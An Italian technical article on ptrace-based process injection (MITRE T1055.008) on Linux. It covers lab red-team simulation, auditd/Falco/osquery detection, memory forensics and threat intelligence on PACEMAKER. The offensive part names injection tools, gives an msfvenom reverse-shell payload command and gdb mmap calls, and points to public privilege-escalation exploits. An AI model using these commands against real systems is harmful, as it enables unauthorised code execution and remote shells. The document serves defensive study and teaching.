Iniezione via Ptrace: Ptrace System Calls (T1055.008)

Su un laboratorio Linux isolato, la simulazione di T1055.008 parte dalla verifica del parametro kernel che governa la disponibilità della syscall: cat /proc/sys/kernel/yama/ptrace_scope restituisce un valore tra 0 (ptrace libero verso qualsiasi processo della stessa UID) e 3 (ptrace disabilitato). Su distribuzioni moderne il default è 1, cioè solo processi figli o processi con PTRACE_TRACER dichiarato via prctl.

Per un red team engagement realistico, il tool di riferimento è linux-injector (open source, disponibile su GitHub), che implementa esattamente la catena PTRACE_ATTACH → mmap → POKETEXT → SETREGS → DETACH documentata da MITRE. In alternativa, Cymothoa (open source, storicamente su SourceForge) inietta shellcode persistente in processi in esecuzione con la sintassi cymothoa -p -s <shellcode_id>. Chi preferisce un approccio più chirurgico può usare gdb (open source) in modalità scriptata: gdb -p seguito da call (void)mmap(0,4096,7,34,-1,0)* e call (int)mprotect(...) consente di caricare payload senza scrivere codice C dedicato.

Lo shellcode può essere generato con msfvenom (open source, incluso in Metasploit Framework) tramite msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f raw. Un pattern didattico consiste nell'agganciarsi a un processo dello stesso utente — un'istanza di sleep o di bash forkata volutamente — per osservare la meccanica senza toccare demoni di sistema.

La catena d'attacco tipica in un assessment segue queste fasi:

• Ricognizione dei processi target con ps -eo pid,uid,cmd e filtro su quelli della stessa UID compromessa
• Verifica dello scope ptrace corrente e delle capability disponibili (getcap, capsh --print)
• Preparazione dello shellcode e test in un processo controllato
• Attach, injection e detach
• Validazione del callback C2 e cleanup della memoria modificata

Per scenari di privilege escalation lecita in lab, vale la pena esplorare CVE noti che abilitavano ptrace cross-UID (es. CVE-2019-13272 su kernel pre-5.1.17) tramite gli exploit pubblici presenti su exploit-db (gratuito). Per test in container, ricordare che ptrace richiede la capability CAP_SYS_PTRACE: un container con --cap-add=SYS_PTRACE o --privileged diventa un vettore realistico di container breakout da valutare nel report finale.

La detection di T1055.008 su Linux si costruisce attorno alla telemetria del kernel, perché ptrace lascia tracce nette solo se il subsystem di auditing è configurato per catturarle. Il framework MITRE indica come strategia primaria la DET0203, che correla eventi auditd:SYSCALL con letture di memoria anomale e manipolazioni di registri su processi non tipicamente sottoposti a debug.

La regola auditd fondamentale è quella che intercetta la syscall ptrace: -a always,exit -F arch=b64 -S ptrace -k tracer. Con osquery (open source) si può interrogare la tabella process_events filtrando su syscall ptrace e correlando PID tracer e PID target, verificando se esiste una relazione parent-child legittima. Per ambienti con Falco (open source, CNCF) esistono regole native che generano alert quando un processo non whitelisted invoca ptrace verso un target al di fuori del proprio albero dei figli.

Le dimensioni di tuning suggerite da MITRE per ridurre il rumore sono quattro. La prima è una allowlist di processi tracer legittimi: gdb, strace, ltrace, perf, agenti APM come i profiler Java e i debugger IDE andrebbero esclusi. La seconda è il filtro sui target sensibili — sshd, systemd, dockerd, containerd, kubelet — dove qualsiasi attach ptrace deve generare severity alta a prescindere. La terza dimensione è la finestra temporale: un'iniezione tipica completa la sequenza PTRACE_ATTACH → POKEDATA → SETREGS in meno di dieci secondi, quindi correlare questi tre eventi in una singola timeline aiuta a distinguere il debugging interattivo (dove la finestra è di minuti) dall'automazione offensiva. La quarta è il mismatch di UID: quando l'UID del tracer differisce da quello del target, siamo verosimilmente davanti a privilege escalation o container breakout.

I falsi positivi principali arrivano da tre fonti. Piattaforme di crash reporting come systemd-coredump e apport usano ptrace per raccogliere dump; strumenti di osservabilità APM installano probe che tracciano processi applicativi; sviluppatori che debuggano in produzione (pratica scorretta ma diffusa) generano pattern simili a un attacco. La contromisura è normalizzare per hostname e classe di server: un attach ptrace su un container di produzione ha peso diverso da uno su una workstation di sviluppo.

Come controllo preventivo, la mitigazione M1026 raccomanda di irrigidire /proc/sys/kernel/yama/ptrace_scope a 2 o 3 sui server critici e di attivare i moduli LSM come SELinux o AppArmor con policy che vincolino la capability CAP_SYS_PTRACE. La mitigazione M1040 suggerisce EDR con blocco comportamentale sulla sequenza ptrace-attach + memory-write + register-set.

L'analisi forense di un incidente T1055.008 su Linux si sviluppa su tre livelli: memoria del processo vittima, log di sistema e artefatti del filesystem. La finestra utile è generalmente breve perché ptrace non lascia file droppati: gli artefatti primari sono in RAM e nei log volatili.

Sul target vivo, il primo passo è acquisire una snapshot del processo sospetto. Il pseudo-filesystem /proc offre le fonti principali: cat /proc//maps mostra la mappatura della memoria e rivela regioni RWX anomale — segno tipico di shellcode iniettato tramite mmap con protezioni PROT_READ|PROT_WRITE|PROT_EXEC. Il file /proc//status contiene il campo TracerPid: se diverso da zero indica che il processo è attualmente tracciato, e il PID indicato è il tracer. Il file /proc//syscall rivela la syscall corrente al momento dell'ispezione.

Per la cattura della memoria si usa AVML (open source, Microsoft) o LiME (open source) per un dump full-system, oppure gcore per un core dump mirato del processo sospetto. L'analisi successiva con Volatility 3 (open source) e il plugin linux.malfind individua regioni di memoria con permessi anomali e code injection, mentre linux.proc_maps fornisce una vista strutturata delle mappature.

I log auditd, se configurati, sono la fonte più ricca per la timeline. La riga tipica di un attach ptrace appare in /var/log/audit/audit.log con syscall=101 (x86_64) e argomenti che includono il PID target. Correlando timestamp di SYSCALL ptrace, successive SYSCALL mmap dal tracer e infine eventi di rete anomali dal processo vittima, si ricostruisce la catena. Il journal di systemd (journalctl) può contenere messaggi di kernel: audit o segnalazioni di YAMA che bloccano tentativi ptrace non consentiti.

Gli artefatti secondari includono la shell history dell'utente compromesso (.bash_history, .zsh_history), che spesso contiene il comando di lancio del tool di injection; i timestamp di accesso ai binari sospetti recuperabili con stat; e i file in /tmp, /dev/shm o /var/tmp dove attaccanti caricano payload staged prima dell'injection. Il subsystem BPF e i log di eventuali agenti Falco o Tetragon (open source) conservano tracce comportamentali difficili da ripulire.

La timeline finale va costruita con Plaso/log2timeline (open source), che ingerisce audit log, journal e metadati filesystem e produce un supertimeline navigabile con Timesketch (open source). Il collegamento a PACEMAKER (S1109) — malware documentato che usa PTRACE per leggere memoria di processi target — va verificato confrontando hash e stringhe dei binari sospetti con le sample repository interne.

Il panorama threat intelligence attorno a T1055.008 è caratterizzato da bassa diffusione ma alta sofisticazione. I dati MITRE non associano gruppi APT direttamente a questa sotto-tecnica, e il volume di campagne pubblicamente documentate è limitato: si tratta di un vettore usato da attori tecnicamente maturi, tipicamente in ambienti Linux server, cloud workload e infrastrutture di rete.

L'unico elemento software mappato è PACEMAKER (S1109), malware che sfrutta PTRACE per attaccarsi a processi target e leggerne la memoria. La capacità di leggere memoria altrui è coerente con obiettivi di credential harvesting — estrarre segreti da processi che li tengono in cleartext in RAM, come daemon SSH, agent di autenticazione, processi che gestiscono chiavi TLS — e con espionage sostenuta, dove l'operatore preferisce la lettura silenziosa alla scrittura invasiva. L'assenza di attribuzione pubblica nei dati MITRE per PACEMAKER suggerisce cautela nel legarlo a cluster specifici senza fonti aggiuntive.

Sul piano dei pattern osservabili, tre elementi caratterizzano gli avversari che scelgono questa tecnica. Il primo è la preferenza per target Linux enterprise: appliance di rete, gateway VPN, orchestratori di container, nodi Kubernetes e host di virtualizzazione sono ambienti dove ptrace rimane spesso abilitato senza restrizioni YAMA rigide, e dove i processi bersaglio (sshd, dockerd, kubelet) custodiscono materiale ad alto valore. Il secondo è la combinazione con living-off-the-land: gli attori sofisticati non caricano tool dedicati ma sfruttano gdb, strace o binari statici trasportati via SCP dopo aver ottenuto accesso, riducendo le firme statiche. Il terzo è l'integrazione con exploit kernel: quando lo scope ptrace è limitato, l'attaccante lo aggira sfruttando vulnerabilità note (CVE-2019-13272 tra i casi storici) o container breakout via CAP_SYS_PTRACE mal configurato.

Dal punto di vista dei trend, l'adozione crescente di eBPF e strumenti di observability come Cilium, Tetragon e Falco sta comprimendo la finestra operativa di ptrace injection: la telemetria kernel-level rende difficile mantenere l'invisibilità che storicamente rendeva la tecnica attraente. Parallelamente, gli attori si spostano verso alternative come process_vm_readv/process_vm_writev, sotto-tecniche di injection meno tracciate, o abuso di framework di userland come LD_PRELOAD hijacking.

Per un programma di threat intelligence, la priorità è monitorare campagne che colpiscono infrastruttura Linux critica — provider cloud, telecom, appliance edge — e correlare indicatori a livello di comportamento del kernel piuttosto che a file hash. La condivisione via ISAC settoriali di regole auditd, Falco e query osquery efficaci contro PACEMAKER e varianti rappresenta il canale di uplift difensivo più concreto.

MITRE ATT&CK T1055.008 (Ptrace System Calls), tattiche TA0004 e TA0005, software S1109 (PACEMAKER), mitigazioni M1026 e M1040, detection strategy DET0203 con analytic AN0579. Per approfondimenti su tecniche difensive correlate: MITRE D3FEND. Parti dei contenuti operativi (comandi, tool, procedure forensi) derivano da conoscenza professionale di cybersecurity verificata su documentazione ufficiale dei tool citati.